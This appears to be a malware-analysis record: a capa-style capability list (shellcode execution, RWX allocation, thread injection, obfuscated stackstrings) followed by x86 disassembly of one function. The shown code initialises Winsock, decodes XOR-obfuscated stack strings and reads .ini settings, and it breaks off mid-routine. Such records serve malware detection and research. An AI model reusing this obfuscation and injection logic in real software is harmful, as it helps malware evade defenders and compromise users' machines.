Function at 0x454d00
Capabilities:
Allocate or change rwx memory
Check if file exists
Contain obfuscated stackstrings
Create thread
Delete file
Execute shellcode via indirect call
Initialize winsock library
Inject thread
Link many functions at runtime
Move file
Read .ini file
Spawn thread to rwx shellcode

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5f41e7
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x34c8
call fcn.005c8080
mov eax, dword [0x678dc8]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebx + 0xc]
mov dword [ebp - 0x2b3c], eax
call fcn.0044d900
lea eax, [ebp - 0x2b38]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0
push 0
call fcn.0046d050
add esp, 0xc
push 0
push 0
push 0
call fcn.0046d050
add esp, 0xc
push 0
push 0
push 0x200002
call fcn.0046d050
add esp, 0xc
mov dword [ebp - 0x2bd0], 0xbb62bcee
lea eax, [ebp - 0x2bc0]
mov dword [ebp - 0x2bcc], 0xf658b6dc
lea ecx, [ebp - 0x2fc8]
mov dword [ebp - 0x2bc8], 0x874fb23f
mov dword [ebp - 0x2bc4], 0x961c3337
push eax
lea eax, [ebp - 0x2bd0]
push eax
call fcn.0045f460
lea eax, [ebp - 0x2bd0]
mov dword [ebp - 0x850], 0x8e528edf
push eax
lea eax, [ebp - 0x2be0]
mov dword [ebp - 0x84c], 0xc56a86ee
push eax
lea ecx, [ebp - 0x2fd0]
mov dword [ebp - 0x2be0], 0x8e528edf
mov dword [ebp - 0x2bdc], 0xc56a86ee
mov dword [ebp - 0x848], 0x877f8260
mov dword [ebp - 0x844], 0x961c3337
mov dword [ebp - 0x2bd8], 0x877f8260
mov dword [ebp - 0x2bd4], 0x961c3337
call fcn.0045f460
lea eax, [ebp - 0x2be0]
mov dword [ebp - 0x9b0], 0xbb62bcee
push eax
lea eax, [ebp - 0x2bf0]
mov dword [ebp - 0x9ac], 0xf658b6dc
push eax
lea ecx, [ebp - 0x2fd8]
mov dword [ebp - 0x2bf0], 0xbb62bcee
mov dword [ebp - 0x2bec], 0xf658b6dc
mov dword [ebp - 0x9a8], 0x874fb23f
mov dword [ebp - 0x9a4], 0x961c3337
mov dword [ebp - 0x2be8], 0x874fb23f
mov dword [ebp - 0x2be4], 0x961c3337
call fcn.0045f460
movaps xmm1, xmmword [ebp - 0x9b0]
lea eax, [ebp - 0x9b0]
pxor xmm1, xmmword [ebp - 0x850]
lea ecx, [ebp - 0x1388]
push eax
movaps xmmword [ebp - 0x9b0], xmm1
call fcn.0045e6c0
push 0x66ed1f
lea ecx, [ebp - 0x978]
mov dword [ebp - 4], 0
call fcn.0045e6c0
mov byte [ebp - 4], 1
lea eax, [ebp - 0x2bf0]
push eax
mov dword [ebp - 0x2c00], 0xfc37f8f0
lea eax, [ebp - 0x2c00]
mov dword [ebp - 0x2bfc], 0xab05ef9d
mov dword [ebp - 0x2bf8], 0x877f824f
mov dword [ebp - 0x2bf4], 0x961c3337
push eax
lea ecx, [ebp - 0x2fe0]
call fcn.0045f460
lea eax, [ebp - 0x2c00]
mov dword [ebp - 0x850], 0x8e528edf
push eax
lea eax, [ebp - 0x2c10]
mov dword [ebp - 0x84c], 0xc56a86ee
push eax
lea ecx, [ebp - 0x2fe8]
mov dword [ebp - 0x2c10], 0x8e528edf
mov dword [ebp - 0x2c0c], 0xc56a86ee
mov dword [ebp - 0x848], 0x877f8260
mov dword [ebp - 0x844], 0x961c3337
mov dword [ebp - 0x2c08], 0x877f8260
mov dword [ebp - 0x2c04], 0x961c3337
call fcn.0045f460
lea eax, [ebp - 0x2bb0]
mov dword [ebp - 0xa40], 0xfc37f8f0
push eax
lea eax, [ebp - 0x2bc0]
mov dword [ebp - 0xa3c], 0xab05ef9d
push eax
lea ecx, [ebp - 0x34d8]
mov dword [ebp - 0x2bc0], 0xfc37f8f0
mov dword [ebp - 0x2bbc], 0xab05ef9d
mov dword [ebp - 0xa38], 0x877f824f
mov dword [ebp - 0xa34], 0x961c3337
mov dword [ebp - 0x2bb8], 0x877f824f
mov dword [ebp - 0x2bb4], 0x961c3337
call fcn.0045f460
movaps xmm1, xmmword [ebp - 0xa40]
lea eax, [ebp - 0xa40]
pxor xmm1, xmmword [ebp - 0x850]
lea ecx, [ebp - 0x1358]
push eax
movaps xmmword [ebp - 0xa40], xmm1
call fcn.0045e6c0
mov byte [ebp - 4], 2
lea eax, [ebp - 0x17a8]
push eax
lea eax, [ebp - 0x17c8]
mov dword [ebp - 0x17c8], 0xe03dcdf0
push eax
lea ecx, [ebp - 0x34d0]
mov dword [ebp - 0x17c4], 0xb018f29d
mov dword [ebp - 0x17c0], 0xf510f603
mov dword [ebp - 0x17bc], 0xfa705719
mov dword [ebp - 0x17b8], 0x6d4346e1
mov dword [ebp - 0x17b4], 0xb36bf090
mov dword [ebp - 0x17b0], 0x24a76342
mov dword [ebp - 0x17ac], 0x97ad3619
call fcn.0045f460
lea eax, [ebp - 0x1788]
mov dword [ebp - 0x860], 0x8e528edf
push eax
lea eax, [ebp - 0x17a8]
mov dword [ebp - 0x85c], 0xc56a86ee
push eax
lea ecx, [ebp - 0x34c8]
mov dword [ebp - 0x17a8], 0x8e528edf
mov dword [ebp - 0x17a4], 0xc56a86ee
mov dword [ebp - 0x858], 0x877f8260
mov dword [ebp - 0x854], 0x961c3337
mov dword [ebp - 0x17a0], 0x877f8260
mov dword [ebp - 0x179c], 0x961c3337
mov dword [ebp - 0x850], 0x6d4346e1
mov dword [ebp - 0x84c], 0xb36bf090
mov dword [ebp - 0x1798], 0x6d4346e1
mov dword [ebp - 0x1794], 0xb36bf090
mov dword [ebp - 0x848], 0x24a76342
mov dword [ebp - 0x844], 0x97ad3619
mov dword [ebp - 0x1790], 0x24a76342
mov dword [ebp - 0x178c], 0x97ad3619
call fcn.0045f460
mov dword [ebp - 0xd90], 0xe03dcdf0
mov dword [ebp - 0xd8c], 0xb018f29d
mov dword [ebp - 0x1788], 0xe03dcdf0
mov dword [ebp - 0x1784], 0xb018f29d
mov dword [ebp - 0xd88], 0xf510f603
lea eax, [ebp - 0x1768]
mov dword [ebp - 0xd84], 0xfa705719
push eax
lea eax, [ebp - 0x1788]
mov dword [ebp - 0x1780], 0xf510f603
push eax
lea ecx, [ebp - 0x34c0]
mov dword [ebp - 0x177c], 0xfa705719
mov dword [ebp - 0xd80], 0x6d4346e1
mov dword [ebp - 0xd7c], 0xb36bf090
mov dword [ebp - 0x1778], 0x6d4346e1
mov dword [ebp - 0x1774], 0xb36bf090
mov dword [ebp - 0xd78], 0x24a76342
mov dword [ebp - 0xd74], 0x97ad3619
mov dword [ebp - 0x1770], 0x24a76342
mov dword [ebp - 0x176c], 0x97ad3619
call fcn.0045f460
movaps xmm1, xmmword [ebp - 0xd90]
lea eax, [ebp - 0xd90]
pxor xmm1, xmmword [ebp - 0x860]
lea ecx, [ebp - 0x8e8]
movaps xmmword [ebp - 0xd90], xmm1
movaps xmm1, xmmword [ebp - 0xd80]
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xd80], xmm1
call fcn.0045e6c0
mov byte [ebp - 4], 3
lea eax, [ebp - 0x1fb8]
push eax
lea eax, [ebp - 0x1fe8]
mov dword [ebp - 0x1fe8], 0x8e3d8e93
push eax
lea ecx, [ebp - 0x34b8]
mov dword [ebp - 0x1fe4], 0xc50e868f
mov dword [ebp - 0x1fe0], 0x870d8205
mov dword [ebp - 0x1fdc], 0x96733374
mov dword [ebp - 0x1fd8], 0x6d25468f
mov dword [ebp - 0x1fd4], 0xb30cf0f9
mov dword [ebp - 0x1fd0], 0x24ce636c
mov dword [ebp - 0x1fcc], 0x97c43677
mov dword [ebp - 0x1fc8], 0x685fde43
mov dword [ebp - 0x1fc4], 0x52635e52
mov dword [ebp - 0x1fc0], 0x10dc2704
mov dword [ebp - 0x1fbc], 0xf6b6539b
call fcn.0045f460
lea eax, [ebp - 0x1bc8]
mov dword [ebp - 0x870], 0x8e528edf
push eax
lea eax, [ebp - 0x1bf8]
mov dword [ebp - 0x86c], 0xc56a86ee
push eax
lea ecx, [ebp - 0x34b0]
mov dword [ebp - 0x1bf8], 0x8e528edf
mov dword [ebp - 0x1bf4], 0xc56a86ee
mov dword [ebp - 0x868], 0x877f8260
mov dword [ebp - 0x864], 0x961c3337
mov dword [ebp - 0x1bf0], 0x877f8260
mov dword [ebp - 0x1bec], 0x961c3337
mov dword [ebp - 0x860], 0x6d4346e1
mov dword [ebp - 0x85c], 0xb36bf090
mov dword [ebp - 0x1be8], 0x6d4346e1
mov dword [ebp - 0x1be4], 0xb36bf090
mov dword [ebp - 0x858], 0x24a76342
mov dword [ebp - 0x854], 0x97ad3619
mov dword [ebp - 0x1be0], 0x24a76342
mov dword [ebp - 0x1bdc], 0x97ad3619
mov dword [ebp - 0x850], 0x685fde43
mov dword [ebp - 0x84c], 0x52635e52
mov dword [ebp - 0x1bd8], 0x685fde43
mov dword [ebp - 0x1bd4], 0x52635e52
mov dword [ebp - 0x848], 0x10dc2704
mov dword [ebp - 0x844], 0xf6b6539b
mov dword [ebp - 0x1bd0], 0x10dc2704
mov dword [ebp - 0x1bcc], 0xf6b6539b
call fcn.0045f460
mov dword [ebp - 0xfd0], 0x8e3d8e93
mov dword [ebp - 0xfcc], 0xc50e868f
mov dword [ebp - 0x1c28], 0x8e3d8e93
mov dword [ebp - 0x1c24], 0xc50e868f
lea eax, [ebp - 0x1bf8]
mov dword [ebp - 0xfc8], 0x870d8205
push eax
lea eax, [ebp - 0x1c28]
mov dword [ebp - 0xfc4], 0x96733374
push eax
lea ecx, [ebp - 0x34a8]
mov dword [ebp - 0x1c20], 0x870d8205
mov dword [ebp - 0x1c1c], 0x96733374
mov dword [ebp - 0xfc0], 0x6d25468f
mov dword [ebp - 0xfbc], 0xb30cf0f9
mov dword [ebp - 0x1c18], 0x6d25468f
mov dword [ebp - 0x1c14], 0xb30cf0f9
mov dword [ebp - 0xfb8], 0x24ce636c
mov dword [ebp - 0xfb4], 0x97c43677
mov dword [ebp - 0x1c10], 0x24ce636c
mov dword [ebp - 0x1c0c], 0x97c43677
mov dword [ebp - 0xfb0], 0x685fde43
mov dword [ebp - 0xfac], 0x52635e52
mov dword [ebp - 0x1c08], 0x685fde43
mov dword [ebp - 0x1c04], 0x52635e52
mov dword [ebp - 0xfa8], 0x10dc2704
mov dword [ebp - 0xfa4], 0xf6b6539b
mov dword [ebp - 0x1c00], 0x10dc2704
mov dword [ebp - 0x1bfc], 0xf6b6539b
call fcn.0045f460
movaps xmm1, xmmword [ebp - 0xfd0]
lea eax, [ebp - 0x430]
pxor xmm1, xmmword [ebp - 0x870]
movaps xmmword [ebp - 0xfd0], xmm1
movaps xmm1, xmmword [ebp - 0xfc0]
pxor xmm1, xmmword [ebp - 0x860]
push 0
push eax
movaps xmmword [ebp - 0xfc0], xmm1
lea eax, [ebp - 0xfd0]
movaps xmm1, xmmword [ebp - 0xfb0]
pxor xmm1, xmmword [ebp - 0x850]
push 0x104
push eax
movaps xmmword [ebp - 0xfb0], xmm1
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
lea eax, [ebp - 0x1748]
mov dword [ebp - 0x1768], 0x8e338e93
push eax
lea eax, [ebp - 0x1768]
mov dword [ebp - 0x1764], 0xc50d8680
push eax
lea ecx, [ebp - 0x34a0]
mov dword [ebp - 0x1760], 0x871e8215
mov dword [ebp - 0x175c], 0x96793350
mov dword [ebp - 0x1758], 0x6d4346e1
mov dword [ebp - 0x1754], 0xb36bf090
mov dword [ebp - 0x1750], 0x24a76342
mov dword [ebp - 0x174c], 0x97ad3619
call fcn.0045f460
lea eax, [ebp - 0x1728]
mov dword [ebp - 0x860], 0x8e528edf
push eax
lea eax, [ebp - 0x1748]
mov dword [ebp - 0x85c], 0xc56a86ee
push eax
lea ecx, [ebp - 0x3498]
mov dword [ebp - 0x1748], 0x8e528edf
mov dword [ebp - 0x1744], 0xc56a86ee
mov dword [ebp - 0x858], 0x877f8260
mov dword [ebp - 0x854], 0x961c3337
mov dword [ebp - 0x1740], 0x877f8260
mov dword [ebp - 0x173c], 0x961c3337
mov dword [ebp - 0x850], 0x6d4346e1
mov dword [ebp - 0x84c], 0xb36bf090
mov dword [ebp - 0x1738], 0x6d4346e1
mov dword [ebp - 0x1734], 0xb36bf090
mov dword [ebp - 0x848], 0x24a76342
mov dword [ebp - 0x844], 0x97ad3619
mov dword [ebp - 0x1730], 0x24a76342
mov dword [ebp - 0x172c], 0x97ad3619
call fcn.0045f460
mov dword [ebp - 0xdd0], 0x8e338e93
mov dword [ebp - 0xdcc], 0xc50d8680
mov dword [ebp - 0x1728], 0x8e338e93
lea eax, [ebp - 0x1708]
mov dword [ebp - 0x1724], 0xc50d8680
push eax
lea eax, [ebp - 0x1728]
mov dword [ebp - 0xdc8], 0x871e8215
push eax
lea ecx, [ebp - 0x3490]
mov dword [ebp - 0xdc4], 0x96793350
mov dword [ebp - 0x1720], 0x871e8215
mov dword [ebp - 0x171c], 0x96793350
mov dword [ebp - 0xdc0], 0x6d4346e1
mov dword [ebp - 0xdbc], 0xb36bf090
mov dword [ebp - 0x1718], 0x6d4346e1
mov dword [ebp - 0x1714], 0xb36bf090
mov dword [ebp - 0xdb8], 0x24a76342
mov dword [ebp - 0xdb4], 0x97ad3619
mov dword [ebp - 0x1710], 0x24a76342
mov dword [ebp - 0x170c], 0x97ad3619
call fcn.0045f460
movaps xmm1, xmmword [ebp - 0xdd0]
lea eax, [ebp - 0x2c20]
pxor xmm1, xmmword [ebp - 0x860]
lea ecx, [ebp - 0x3488]
movaps xmmword [ebp - 0xdd0], xmm1
movaps xmm1, xmmword [ebp - 0xdc0]
pxor xmm1, xmmword [ebp - 0x850]
push eax
lea eax, [ebp - 0x2c30]
movaps xmmword [ebp - 0xdc0], xmm1
push eax
mov dword [ebp - 0x2c30], 0x8e3d8e9c
mov dword [ebp - 0x2c2c], 0xc50c8680
mov dword [ebp - 0x2c28], 0x87188209
mov dword [ebp - 0x2c24], 0x961c3337
call fcn.0045f460
lea eax, [ebp - 0x2c30]
mov dword [ebp - 0x850], 0x8e528edf
push eax
lea eax, [ebp - 0x2c40]
mov dword [ebp - 0x84c], 0xc56a86ee
push eax
lea ecx, [ebp - 0x3480]
mov dword [ebp - 0x2c40], 0x8e528edf
mov dword [ebp - 0x2c3c], 0xc56a86ee
mov dword [ebp - 0x848], 0x877f8260
mov dword [ebp - 0x844], 0x961c3337
mov dword [ebp - 0x2c38], 0x877f8260
mov dword [ebp - 0x2c34], 0x961c3337
call fcn.0045f460
lea eax, [ebp - 0x2c40]
mov dword [ebp - 0xb50], 0x8e3d8e9c
push eax
lea eax, [ebp - 0x2c50]
mov dword [ebp - 0xb4c], 0xc50c8680
push eax
lea ecx, [ebp - 0x3478]
mov dword [ebp - 0x2c50], 0x8e3d8e9c
mov dword [ebp - 0x2c4c], 0xc50c8680
mov dword [ebp - 0xb48], 0x87188209
mov dword [ebp - 0xb44], 0x961c3337
mov dword [ebp - 0x2c48], 0x87188209
mov dword [ebp - 0x2c44], 0x961c3337
call fcn.0045f460
movaps xmm1, xmmword [ebp - 0xb50]
lea eax, [ebp - 0x430]
pxor xmm1, xmmword [ebp - 0x850]
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
push eax
push 0x3e7
lea eax, [ebp - 0xdd0]
movaps xmmword [ebp - 0xb50], xmm1
push eax
lea eax, [ebp - 0xb50]
push eax
call esi
mov edi, eax
mov dword [ebp - 0x1708], 0x8e208e8b
mov dword [ebp - 0x1704], 0xc5298697
mov dword [ebp - 0x1700], 0x870a820f
mov dword [ebp - 0x16fc], 0x96683359
mov dword [ebp - 0x16f8], 0x6d4346e1
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0x16f4], 0xb36bf090
push eax
lea eax, [ebp - 0x1708]
mov dword [ebp - 0x16f0], 0x24a76342
push eax
lea ecx, [ebp - 0x3470]
mov dword [ebp - 0x16ec], 0x97ad3619
call fcn.0045f460
lea eax, [ebp - 0x16c8]
mov dword [ebp - 0x860], 0x8e528edf
push eax
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0x85c], 0xc56a86ee
push eax
lea ecx, [ebp - 0x3468]
mov dword [ebp - 0x16e8], 0x8e528edf
mov dword [ebp - 0x16e4], 0xc56a86ee
mov dword [ebp - 0x858], 0x877f8260
mov dword [ebp - 0x854], 0x961c3337
mov dword [ebp - 0x16e0], 0x877f8260
mov dword [ebp - 0x16dc], 0x961c3337
mov dword [ebp - 0x850], 0x6d4346e1
mov dword [ebp - 0x84c], 0xb36bf090
mov dword [ebp - 0x16d8], 0x6d4346e1
mov dword [ebp - 0x16d4], 0xb36bf090
mov dword [ebp - 0x848], 0x24a76342
mov dword [ebp - 0x844], 0x97ad3619
mov dword [ebp - 0x16d0], 0x24a76342
mov dword [ebp - 0x16cc], 0x97ad3619
call fcn.0045f460
lea eax, [ebp - 0x16a8]
mov dword [ebp - 0xdb0], 0x8e208e8b
push eax
lea eax, [ebp - 0x16c8]
mov dword [ebp - 0xdac], 0xc5298697
push eax
lea ecx, [ebp - 0x3460]
mov dword [ebp - 0x16c8], 0x8e208e8b
mov dword [ebp - 0x16c4], 0xc5298697
mov dword [ebp - 0xda8], 0x870a820f
mov dword [ebp - 0xda4], 0x96683359
mov dword [ebp - 0x16c0], 0x870a820f
mov dword [ebp - 0x16bc], 0x96683359
mov dword [ebp - 0xda0], 0x6d4346e1
mov dword [ebp - 0xd9c], 0xb36bf090
mov dword [ebp - 0x16b8], 0x6d4346e1
mov dword [ebp - 0x16b4], 0xb36bf090
mov dword [ebp - 0xd98], 0x24a76342
mov dword [ebp - 0xd94], 0x97ad3619
mov dword [ebp - 0x16b0], 0x24a76342
mov dword [ebp - 0x16ac], 0x97ad3619
call fcn.0045f460
movaps xmm1, xmmword [ebp - 0xdb0]
lea eax, [ebp - 0x2c50]
pxor xmm1, xmmword [ebp - 0x860]
lea ecx, [ebp - 0x3458]
movaps xmmword [ebp - 0xdb0], xmm1
movaps xmm1, xmmword [ebp - 0xda0]
pxor xmm1, xmmword [ebp - 0x850]
push eax
lea eax, [ebp - 0x2c60]
movaps xmmword [ebp - 0xda0], xmm1
push eax
mov dword [ebp - 0x2c60], 0x8e068e8d
mov dword [ebp - 0x2c5c], 0xc56a86ee
mov dword [ebp - 0x2c58], 0x877f8260
mov dword [ebp - 0x2c54], 0x961c3337
call fcn.0045f460
lea eax, [ebp - 0x2c60]
mov dword [ebp - 0x850], 0x8e528edf
push eax
lea eax, [ebp - 0x2c70]
mov dword [ebp - 0x84c], 0xc56a86ee
mov dword [ebp - 0x2c70], 0x8e528edf
mov dword [ebp - 0x2c6c], 0xc56a86ee
mov dword [ebp - 0x848], 0x877f8260
mov dword [ebp - 0x844], 0x961c3337
mov dword [ebp - 0x2c68], 0x877f8260
mov dword [ebp - 0x2c64], 0x961c3337
push eax
lea ecx, [ebp - 0x3450]
call fcn.0045f460
lea eax, [ebp - 0x2c70]
mov dword [ebp - 0x9a0], 0x8e068e8d
push eax
lea eax, [ebp - 0x2c80]
mov dword [ebp - 0x99c], 0xc56a86ee
push eax
lea ecx, [ebp - 0x3448]
mov dword [ebp - 0x2c80], 0x8e068e8d
mov dword [ebp - 0x2c7c], 0xc56a86ee
mov dword [ebp - 0x998], 0x877f8260
mov dword [ebp - 0x994], 0x961c3337
mov dword [ebp - 0x2c78], 0x877f8260
mov dword [ebp - 0x2c74], 0x961c3337
call fcn.0045f460
movaps xmm1, xmmword [ebp - 0x9a0]
lea eax, [ebp - 0x430]
pxor xmm1, xmmword [ebp - 0x850]
push eax
push 0
lea eax, [ebp - 0xdb0]
movaps xmmword [ebp - 0x9a0], xmm1
push eax
lea eax, [ebp - 0x9a0]
push eax
call esi
mov dword [ebp - 0x2b48], eax
cmp edi, 0x3e7
jne 0x456183
lea eax, [ebp - 0x1c28]
mov dword [ebp - 0x1c58], 0xef37e28f
push eax
lea eax, [ebp - 0x1c58]
mov dword [ebp - 0x1c54], 0xa64ae39d
push eax
lea ecx, [ebp - 0x3440]
mov dword [ebp - 0x1c50], 0xf410ed08
mov dword [ebp - 0x1c4c], 0xf7701352
mov dword [ebp - 0x1c48], 0xc36218f
mov dword [ebp - 0x1c44], 0xc54b95f7
mov dword [ebp - 0x1c40], 0x4dd41127
mov dword [ebp - 0x1c3c], 0xb7975876
mov dword [ebp - 0x1c38], 0x685fde43
mov dword [ebp - 0x1c34], 0x52635e52
mov dword [ebp - 0x1c30], 0x10dc2704
mov dword [ebp - 0x1c2c], 0xf6b6539b
call fcn.0045f460
lea eax, [ebp - 0x1c88]
mov dword [ebp - 0x870], 0x8e528edf
push eax
lea eax, [ebp - 0x1cb8]
mov dword [ebp - 0x86c], 0xc56a86ee
push eax
lea ecx, [ebp - 0x3438]
mov dword [ebp - 0x1cb8], 0x8e528edf
mov dword [ebp - 0x1cb4], 0xc56a86ee
mov dword [ebp - 0x868], 0x877f8260
mov dword [ebp - 0x864], 0x961c3337
mov dword [ebp - 0x1cb0], 0x877f8260
mov dword [ebp - 0x1cac], 0x961c3337
mov dword [ebp - 0x860], 0x6d4346e1
mov dword [ebp - 0x85c], 0xb36bf090
mov dword [ebp - 0x1ca8], 0x6d4346e1
mov dword [ebp - 0x1ca4], 0xb36bf090
mov dword [ebp - 0x858], 0x24a76342
mov dword [ebp - 0x854], 0x97ad3619
mov dword [ebp - 0x1ca0], 0x24a76342
mov dword [ebp - 0x1c9c], 0x97ad3619
mov dword [ebp - 0x850], 0x685fde43
mov dword [ebp - 0x84c], 0x52635e52
mov dword [ebp - 0x1c98], 0x685fde43
mov dword [ebp - 0x1c94], 0x52635e52
mov dword [ebp - 0x848], 0x10dc2704
mov dword [ebp - 0x844], 0xf6b6539b
mov dword [ebp - 0x1c90], 0x10dc2704
mov dword [ebp - 0x1c8c], 0xf6b6539b
call fcn.0045f460
lea eax, [ebp - 0x1ce8]
mov dword [ebp - 0xfa0], 0xef37e28f
push eax
lea eax, [ebp - 0x1d18]
mov dword [ebp - 0xf9c], 0xa64ae39d
push eax
lea ecx, [ebp - 0x3430]
mov dword [ebp - 0x1d18], 0xef37e28f
mov dword [ebp - 0x1d14], 0xa64ae39d
mov dword [ebp - 0xf98], 0xf410ed08
mov dword [ebp - 0xf94], 0xf7701352
mov dword [ebp - 0x1d10], 0xf410ed08
mov dword [ebp - 0x1d0c], 0xf7701352
mov dword [ebp - 0xf90], 0xc36218f
mov dword [ebp - 0xf8c], 0xc54b95f7
mov dword [ebp - 0x1d08], 0xc36218f
mov dword [ebp - 0x1d04], 0xc54b95f7
mov dword [ebp - 0xf88], 0x4dd41127
mov dword [ebp - 0xf84], 0xb7975876
mov dword [ebp - 0x1d00], 0x4dd41127
mov dword [ebp - 0x1cfc], 0xb7975876
mov dword [ebp - 0xf80], 0x685fde43
mov dword [ebp - 0xf7c], 0x52635e52
mov dword [ebp - 0x1cf8], 0x685fde43
mov dword [ebp - 0x1cf4], 0x52635e52
mov dword [ebp - 0xf78], 0x10dc2704
mov dword [ebp - 0xf74], 0xf6b6539b
mov dword [ebp - 0x1cf0], 0x10dc2704
mov dword [ebp - 0x1cec], 0xf6b6539b
call fcn.0045f460
movaps xmm1, xmmword [ebp - 0x870]
pxor xmm1, xmmword [ebp - 0xfa0]
movaps xmmword [ebp - 0xfa0], xmm1
movaps xmm1, xmmword [ebp - 0x860]
lea edx, [ebp - 0xfa0]
pxor xmm1, xmmword [ebp - 0xf90]
mov ecx, 0x67d708
movaps xmmword [ebp - 0xf90], xmm1
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xf80]
movaps xmmword [ebp - 0xf80], xmm1
call fcn.00460740
push fcn.00460b10
mov ecx, eax
call fcn.0045df80
lea eax, [ebp - 0x2c80]
mov dword [ebp - 0x2c90], 0xae68bfff
push eax
lea eax, [ebp - 0x2c90]
mov dword [ebp - 0x2c8c], 0xab0fefba
push eax
lea ecx, [ebp - 0x3428]
mov dword [ebp - 0x2c88], 0xee29a207
mov dword [ebp - 0x2c84], 0x963c4752
call fcn.0045f460
lea eax, [ebp - 0x2c90]
mov dword [ebp - 0x850], 0x8e528edf
push eax
lea eax, [ebp - 0x2ca0]
mov dword [ebp - 0x84c], 0xc56a86ee
push eax
lea ecx, [ebp - 0x3420]
mov dword [ebp - 0x2ca0], 0x8e528edf
mov dword [ebp - 0x2c9c], 0xc56a86ee
mov dword [ebp - 0x848], 0x877f8260
mov dword [ebp - 0x844], 0x961c3337
mov dword [ebp - 0x2c98], 0x877f8260
mov dword [ebp - 0x2c94], 0x961c3337
call fcn.0045f460
lea eax, [ebp - 0x2ca0]
mov dword [ebp - 0x990], 0xae68bfff
push eax
lea eax, [ebp - 0x2cb0]
mov dword [ebp - 0x98c], 0xab0fefba
push eax
lea ecx, [ebp - 0x3418]
mov dword [ebp - 0x2cb0], 0xae68bfff
mov dword [ebp - 0x2cac], 0xab0fefba
mov dword [ebp - 0x988], 0xee29a207
mov dword [ebp - 0x984], 0x963c4752
mov dword [ebp - 0x2ca8], 0xee29a207
mov dword [ebp - 0x2ca4], 0x963c4752
call fcn.0045f460
movaps xmm1, xmmword [ebp - 0x990]
lea edx, [ebp - 0x990]
pxor xmm1, xmmword [ebp - 0x850]
mov ecx, 0x67d708
movaps xmmword [ebp - 0x990], xmm1
call fcn.00460740
push fcn.00460b10
mov ecx, eax
call fcn.0045df80
lea eax, [ebp - 0x2cb0]
mov dword [ebp - 0x2cc0], 0xae68bcff
push eax
lea eax, [ebp - 0x2cc0]
mov dword [ebp - 0x2cbc], 0xa90de8ab
push eax
lea ecx, [ebp - 0x3410]
mov dword [ebp - 0x2cb8], 0xa717f109
mov dword [ebp - 0x2cb4], 0x961c3337
call fcn.0045f460
lea eax, [ebp - 0x2cc0]
mov dword [ebp - 0x850], 0x8e528edf
push eax
lea eax, [ebp - 0x2cd0]
mov dword [ebp - 0x84c], 0xc56a86ee
mov dword [ebp - 0x2cd0], 0x8e528edf
mov dword [ebp - 0x2ccc], 0xc56a86ee
mov dword [ebp - 0x848], 0x877f8260
mov dword [ebp - 0x844], 0x961c3337
mov dword [ebp - 0x2cc8], 0x877f8260
mov dword [ebp - 0x2cc4], 0x961c3337
push eax
lea ecx, [ebp - 0x3408]
call fcn.0045f460
lea eax, [ebp - 0x2cd0]
mov dword [ebp - 0xad0], 0xae68bcff
push eax
lea eax, [ebp - 0x2ce0]
mov dword [ebp - 0xacc], 0xa90de8ab
push eax
lea ecx, [ebp - 0x3400]
mov dword [ebp - 0x2ce0], 0xae68bcff
mov dword [ebp - 0x2cdc], 0xa90de8ab
mov dword [ebp - 0xac8], 0xa717f109
mov dword [ebp - 0xac4], 0x961c3337
mov dword [ebp - 0x2cd8], 0xa717f109
mov dword [ebp - 0x2cd4], 0x961c3337
call fcn.0045f460
movaps xmm1, xmmword [ebp - 0x850]
lea edx, [ebp - 0xad0]
pxor xmm1, xmmword [ebp - 0xad0]
mov ecx, 0x67d708
movaps xmmword [ebp - 0xad0], xmm1
call fcn.00460740
push fcn.00460b10
mov ecx, eax
call fcn.0045df80
jmp 0x4562e0
cmp edi, 1
je 0x456378
cmp edi, 2
je 0x456378
mov dword [ebp - 0xf70], 0xef24e096
lea edx, [ebp - 0xf70]
mov dword [ebp - 0xf6c], 0xe50eef82
mov ecx, 0x67d708
mov dword [ebp - 0xf68], 0xe011e30c
mov dword [ebp - 0xf64], 0xf37b5242
mov dword [ebp - 0xf60], 0x13366cd
mov dword [ebp - 0xf5c], 0xd61891f5
mov dword [ebp - 0xf58], 0x48c21062
mov dword [ebp - 0xf54], 0xb7d9557c
mov dword [ebp - 0xf50], 0x13eb922
mov dword [ebp - 0xf4c], 0x5263703c
mov dword [ebp - 0xf48], 0x10dc2704
mov dword [ebp - 0xf44], 0xf6b6539b
mov dword [ebp - 0x8a0], 0x8e528edf
mov dword [ebp - 0x89c], 0xc56a86ee
mov dword [ebp - 0x898], 0x877f8260
mov dword [ebp - 0x894], 0x961c3337
movaps xmm1, xmmword [ebp - 0x8a0]
pxor xmm1, xmmword [ebp - 0xf70]
movaps xmmword [ebp - 0xf70], xmm1
mov dword [ebp - 0x890], 0x6d4346e1
mov dword [ebp - 0x88c], 0xb36bf090
mov dword [ebp - 0x888], 0x24a76342
mov dword [ebp - 0x884], 0x97ad3619
movaps xmm1, xmmword [ebp - 0x890]
pxor xmm1, xmmword [ebp - 0xf60]
movaps xmmword [ebp - 0xf60], xmm1
mov dword [ebp - 0x880], 0x685fde43
mov dword [ebp - 0x87c], 0x52635e52
mov dword [ebp - 0x878], 0x10dc2704
mov dword [ebp - 0x874], 0xf6b6539b
movaps xmm1, xmmword [ebp - 0x880]
pxor xmm1, xmmword [ebp - 0xf50]
movaps xmmword [ebp - 0xf50], xmm1
call fcn.00460740
push eax
call fcn.00460b10
add esp, 4
mov dword [ebp - 0xa60], 0xfc27e186
lea edx, [ebp - 0xa60]
mov dword [ebp - 0xa5c], 0xaa02e5ce
mov ecx, 0x67d708
mov dword [ebp - 0xa58], 0xbd1ae109
mov dword [ebp - 0xa54], 0x961c3317
mov dword [ebp - 0x850], 0x8e528edf
mov dword [ebp - 0x84c], 0xc56a86ee
mov dword [ebp - 0x848], 0x877f8260
mov dword [ebp - 0x844], 0x961c3337
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xa60]
